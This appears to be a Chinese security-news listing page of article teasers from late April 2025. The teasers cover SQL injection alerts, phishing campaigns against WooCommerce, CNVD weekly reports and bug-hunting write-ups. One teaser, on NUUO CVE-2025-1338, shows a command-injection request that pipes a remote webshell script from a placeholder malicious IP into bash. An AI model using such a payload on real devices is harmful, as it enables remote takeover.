大规模钓鱼攻击瞄准WordPress WooCommerce用户
大规模钓鱼攻击瞄准WordPress WooCommerce用户 鹏鹏同学 黑猫安全 2025-04-29 01:29 Patchstack安全团队近日曝光一起针对WordPress WooCommerce用户的大规模钓鱼活动。攻击者伪装成官方团队发送虚假安全警报，诱骗用户下载植入后门的”关键补丁”。 攻击手法分析 1. 钓鱼诱饵 ： 谎称存在”未授权管理访问漏
继续阅读标签： SQL注入
工具篇 | 超绝！漏洞盒子一键自动提交脚本，效率飞升秘籍
工具篇 | 超绝！漏洞盒子一键自动提交脚本，效率飞升秘籍 原创 零日安全实验室 零日安全实验室 2025-04-29 01:08 免责声明！ 本 公众号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。 大 纲 前言 怎么使用？ 使用效果 1 前言 在我们挖掘漏洞的时候如果手上有几百个几十个相同类型的漏洞，假设现在有50个未授
继续阅读漏洞预警 | 昂捷CRM SQL注入漏洞
漏洞预警 | 昂捷CRM SQL注入漏洞 浅安 浅安安全 2025-04-29 00:00 0x00 漏洞编号 – # 暂无 0x01 危险等级 – 高危 0x02 漏洞概述 昂捷CRM是深圳市昂捷信息技术股份有限公司提供的一款专注于零售行业客户关系管理的系统。 0x03 漏洞详情 漏洞类型： SQL注入 影响： 获取敏感信息 简述： 昂捷 CRM 的/EnjoyRMIS_
继续阅读【吾好梦中测站】一次资金盘渗透的源码爬取与0day挖掘实录
【吾好梦中测站】一次资金盘渗透的源码爬取与0day挖掘实录 原创 菜狗安全 菜狗安全 2025-04-29 00:00 点击上方蓝字·关注我们 免责声明 由于传播、利用本公众号 菜狗安全 所提供的信息而造成的任何直接或者间接的后果及损失，均由 使用者本人负责，公众号 菜狗安全 及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，会立即删除并致歉。 文章目录 前言：一场离奇的梦中渗透
继续阅读漏洞预警 | 红帆HFOffice SQL注入漏洞
漏洞预警 | 红帆HFOffice SQL注入漏洞 浅安 浅安安全 2025-04-29 00:00 0x00 漏洞编号 – # 暂无 0x01 危险等级 – 高危 0x02 漏洞概述 红帆HFOffice是广州红帆科技有限公司研发的新一代医院智慧管理云平台，它采用了一系列红帆HFOffice是广州红帆科技有限公司研发的新一代医院智慧管理云平台。 0x03 漏洞详情 漏洞类
继续阅读虚假安全补丁攻击WooCommerce管理员以劫持网站
虚假安全补丁攻击WooCommerce管理员以劫持网站 FreeBuf 2025-04-28 10:32 一场大规模钓鱼攻击正针对WooCommerce用户，通过伪造安全警报诱使他们下载所谓的”关键补丁”，实则为植入WordPress后门的恶意程序。 01 恶意插件植入 根据Patchstack研究人员发现，上当受骗的用户在下载更新时，实际上安装的是恶意插件。该插件会： &
继续阅读SSTI 模板注入漏洞
SSTI 模板注入漏洞 原创 信安魔方 锐鉴安全 2025-04-28 10:24 声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。 请大家关注公众号支持，不定期有宠粉福利 Part-01 基础 知识 SSTI 是服务器端模板注入(Server-Side Template Injection
继续阅读《2025年提升全民数字素养与技能工作要点》印发，提出营造安全有序数字环境；PoC攻击暴露Linux安全工具核心设计缺陷 |牛览
《2025年提升全民数字素养与技能工作要点》印发，提出营造安全有序数字环境；PoC攻击暴露Linux安全工具核心设计缺陷 |牛览 安全牛 2025-04-28 09:33 新闻速览 •《2025年提升全民数字素养与技能工作要点》印发，提出营造安全有序数字环境 •全球能源巨头成为目标：揭秘”电力寄生虫”多语言钓鱼攻击 •教育云遭遇重创：黑客利用AzureChecker部署加密
继续阅读安全专家提供的 APT38 窃取 0day 漏洞的策略 PoC
安全专家提供的 APT38 窃取 0day 漏洞的策略 PoC Ots安全 2025-04-28 08:58 – 一个自动化 APT38 技术的程序，该技术已被用于针对网络安全研究人员专家 Lazarus 是一个受朝鲜政府支持的组织，其针对网络安全研究人员的攻击记录屡见不鲜。在其众多引人注目的技术中，有一种因其能够有效欺骗众多网络安全专家而尤为突出。 攻击者创建多个 Twitter 和
继续阅读上周关注度较高的产品安全漏洞(20250421-20250427)
上周关注度较高的产品安全漏洞(20250421-20250427) 原创 CNVD CNVD漏洞平台 2025-04-28 08:43 一、境外厂商产品漏洞 1、TOTOLINK A6000R action_passwd命令注入漏洞 TOTOLINK A6000R 是一款性能卓越的无线路由器，采用先进的技术和设计 , 为用户提供出色的网络体验。 TOTOLINK A6000R action_pas
继续阅读CNVD漏洞周报2025年第16期
CNVD漏洞周报2025年第16期 原创 CNVD CNVD漏洞平台 2025-04-28 08:43 2 0 2 5 年 0 4 月 21 日 – 2 0 2 5 年 0 4月27日 本周漏洞态势研判情况 本 周 信 息 安 全 漏 洞 威 胁 整 体 评 价 级 别 为中 。 国家信息安全漏洞共享平台（以下简称CNVD）本周共收集、整理信息安全漏洞484个，其中高危漏洞250个、中
继续阅读Ruby 服务器中存在 Rack::Static 漏洞，可导致数据遭泄露
Ruby 服务器中存在 Rack::Static 漏洞，可导致数据遭泄露 Ravie Lakshmanan 代码卫士 2025-04-28 08:39 聚焦源代码安全，网罗国内外最新资讯！ 编译：代码卫士 网络安全研究员披露了位于 Rack Ruby web 服务器界面中的多个安全漏洞。如遭成功利用，它们可导致攻击者越权访问文件、注入恶意数据并在某些情况下篡改日志。 这些漏洞如下： CVE-202
继续阅读雷神众测漏洞周报2025.4.21-2025.4.27
雷神众测漏洞周报2025.4.21-2025.4.27 雷神众测 雷神众测 2025-04-28 07:00 摘要 以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。 雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或
继续阅读StudentServlet-JSP跨站脚本漏洞及解决办法（CNVD-2025-06945、CVE-2025-3036）
StudentServlet-JSP跨站脚本漏洞及解决办法（CNVD-2025-06945、CVE-2025-3036） 原创 护卫神 护卫神说安全 2025-04-28 01:56 StudentServlet-JSP 是一个基于 Java Web 技术的开源学生管理系统示例项目，旨在帮助初学者掌握 Servlet 和 JSP 的核心概念及开发流程。项目通过分权管理模式实现学生、教师和管理员的功
继续阅读浅谈常见edu漏洞，逻辑漏洞、越权、接管、小白如何快速找准漏洞
浅谈常见edu漏洞，逻辑漏洞、越权、接管、小白如何快速找准漏洞 薛定谔不喜欢猫 富贵安全 2025-04-28 01:15 今年对某高校进行了渗透测试，发现了一些比较经典的漏洞，写一下和师傅们一起分享。 1.教务系统登录处短信轰炸 学校的教务系统登录处，发现有一个手机验证码认证 这里会发送一个验证码 正常来说，每发送一次短信验证码，这个校验码就会自动更新一次，然后会报错：“验证码错误”。 但是这里
继续阅读Planet Technology 工业交换机漏洞可导致设备被接管
Planet Technology 工业交换机漏洞可导致设备被接管 会杀毒的单反狗 军哥网络安全读报 2025-04-28 01:03 导读 网络安全公司 Immersive 发现影响中国台湾网络设备制造商 Planet Technology 生产的网络管理工具和工业交换机的严重安全漏洞。根据该公司的博客文章，漏洞可能导致攻击者能够接管受影响的网络设备。 Immersive 的安全研究员 Kev
继续阅读浅谈常见edu漏洞，逻辑漏洞、越权、接管、getshell，小白如何快速找准漏洞
浅谈常见edu漏洞，逻辑漏洞、越权、接管、getshell，小白如何快速找准漏洞 薛定谔不喜欢猫 神农Sec 2025-04-28 01:02 扫码加圈子 获内部资料 网络安全领域各种资源，EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章，以及工具分享、前沿信息分享、POC、EXP分享。 不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（知识星球优惠卷）。 原文链接： h
继续阅读Apache Calcite惊现高危漏洞！数据库连接竟成黑客后门？
Apache Calcite惊现高危漏洞！数据库连接竟成黑客后门？ 云梦DC 云梦安全 2025-04-28 01:01 一、漏洞原理揭秘 核心杀伤力： // 致命代码片段 String className = config.httpClientClass(); Class<?> clazz = Class.forName(className); Constructor<?>
继续阅读核弹级漏洞预警｜NUUO监控设备远程沦陷实录(CVE-2025-1338)
核弹级漏洞预警｜NUUO监控设备远程沦陷实录(CVE-2025-1338) 云梦DC 云梦安全 2025-04-28 01:01 0x01 漏洞杀伤链 攻击向量： GET /handle_config.php?log=;curl${IFS}http://恶意IP/webshell.sh|bash; HTTP/1.1 Host: target-ip 实现效果： ✅ 任意命令执行（代码注入） ✅ /e
继续阅读如何利用隐藏功能点发现SQL注入漏洞和注入绕过技巧|挖洞技巧
如何利用隐藏功能点发现SQL注入漏洞和注入绕过技巧|挖洞技巧 lo2us/消失的.. 渗透安全HackTwo 2025-04-27 16:01 0x01 前言 在渗透测试过程中，SQL注入依然是最常见的漏洞之一。通过对目标网站的不断探索和漏洞分析，我们发现了该站点的SQL注入问题，并通过一系列绕过手段成功获取了数据库信息。本文记录了从发现漏洞到成功利用的整个过程，分享了一些典型的绕过技巧和方法，
继续阅读Steam 客户端漏洞 &&从csgo角度看待网络安全
Steam 客户端漏洞 &&从csgo角度看待网络安全 原创 梅苑 梅苑安全 2025-04-27 15:43 Steam 客户端漏洞 原文链接： https://hackerone.com/reports/667242 打开特定的 steam:// URL 会覆盖任意位置的文件 如果用户打开 steam://devkit-1/list-shortcuts?response=/tm
继续阅读记一次漏洞复现威胁情报导致的漏洞
记一次漏洞复现威胁情报导致的漏洞 原创 湘南第一深情 湘安无事 2025-04-27 14:12 声明： 由于传播、利用本公众号湘安无事所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。如有侵权烦请告知，我们会立即删除并致歉。谢谢！ 0x00前言 起因是 3月份下班坐地铁 无聊 在wx公众号
继续阅读【安全圈】CVE-2025-3248：Langflow 开源平台严重远程代码执行漏洞威胁 AI 工作流安全
【安全圈】CVE-2025-3248：Langflow 开源平台严重远程代码执行漏洞威胁 AI 工作流安全 安全圈 2025-04-27 11:01 关键词 安全漏洞 网络安全研究人员在 Langflow 中发现了一个严重的远程代码执行（RCE）漏洞。Langflow 是一个被广泛用于以可视化方式构建由人工智能驱动的智能体和工作流程的开源平台。 这个高严重性漏洞被编号为 CVE-2025-3248
继续阅读盛邦安全获评“国家信息安全漏洞库（CNNVD）一级技术支撑单位”
盛邦安全获评“国家信息安全漏洞库（CNNVD）一级技术支撑单位” 盛邦安全WebRAY 2025-04-27 10:47 近日，盛邦安全荣膺“国家信息安全漏洞库CNNVD一级技术支撑单位”称号，这一殊荣充分肯定了公司在漏洞研究、0day输出、应急响应以及在野漏洞跟踪分析等方面的卓越能力。 作为始终站在攻防对抗前沿的网安企业，盛邦安全凭借自主研发的漏洞挖掘引擎，结合多年来在漏洞深度分析、自动化风险评
继续阅读每周网安资讯 （4.22-4.27）|Johnson Controls ICU漏洞预警
每周网安资讯 （4.22-4.27）|Johnson Controls ICU漏洞预警 交大捷普 2025-04-27 10:15 2025[ 每周网安资讯 ]4.22-4.27 网安资讯 1、全国数标委公开征求《可信数据空间 技术架构（征求意见稿）》技术文件意见 为贯彻落实《国家数据基础设施建设指引》《可信数据空间发展行动计划（2024—2028年）》等政策文件要求，充分考虑可信数据空间作为数据
继续阅读Craft CMS RCE利用链用于窃取数据
Craft CMS RCE利用链用于窃取数据 Lawrence Abrams 代码卫士 2025-04-27 10:12 聚焦源代码安全，网罗国内外最新资讯！ 编译：代码卫士 Orange Cyberdefense 公司提到，Craft CMS 中存在两个漏洞，可用于攻陷服务器和窃取数据。 这两个漏洞是由 Orange Cyberdefense 公司的部门CSIRT在调查一台受陷服务器时发现的。这
继续阅读SAP修复已遭利用的0day漏洞
SAP修复已遭利用的0day漏洞 Bill Toulas 代码卫士 2025-04-27 10:12 聚焦源代码安全，网罗国内外最新资讯！ 编译：代码卫士 SAP 公司紧急修复位于 NetWeaver 中的一个远程代码执行 (RCE) 0day 漏洞，它可用于劫持服务器。 该漏洞的编号是CVE-2025-31324，CVSS评分10分，是一个位于SAP NetWeaver Visual Compo
继续阅读同步漏洞行动：朝鲜Lazarus APT组织针对韩国供应链发起攻击
同步漏洞行动：朝鲜Lazarus APT组织针对韩国供应链发起攻击 FreeBuf 2025-04-27 10:06 与朝鲜有关的Lazarus组织在一项名为”同步漏洞行动”（Operation SyncHole）的网络间谍活动中，针对至少六家韩国企业发起攻击。 卡巴斯基研究人员报告称，这个朝鲜背景的APT（高级持续性威胁）组织自2024年11月以来持续活跃，采用水坑攻击手
继续阅读whisper多商户客服系统存在前台SQL注入漏洞
whisper多商户客服系统存在前台SQL注入漏洞 原创 XingYue404 星悦安全 2025-04-27 05:48 点击上方 蓝字 关注我们 并设为 星标 0x00 前言 某兄弟向我求助一站，领导要求拿到后台权限，打开一看发现是 二开的 whisper 多商户客服系统，搜索网络已知漏洞 发现有XSS+任意文件读取，但目标站点貌似修复了. 于是去网上找到源码 开始审计 框架:ThinkPH
继续阅读智能汽车漏洞挖掘案例分享
智能汽车漏洞挖掘案例分享 锐鉴安全 2025-04-27 05:21 声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。 关注公众号，设置为星标， 不定期有宠粉福利 前言 随着人工智能、5G通信与车联网技术的深度融合，智能网联汽车正从理论验证阶段快速迈进规模化商用时代。截至目前，我国L3-L4
继续阅读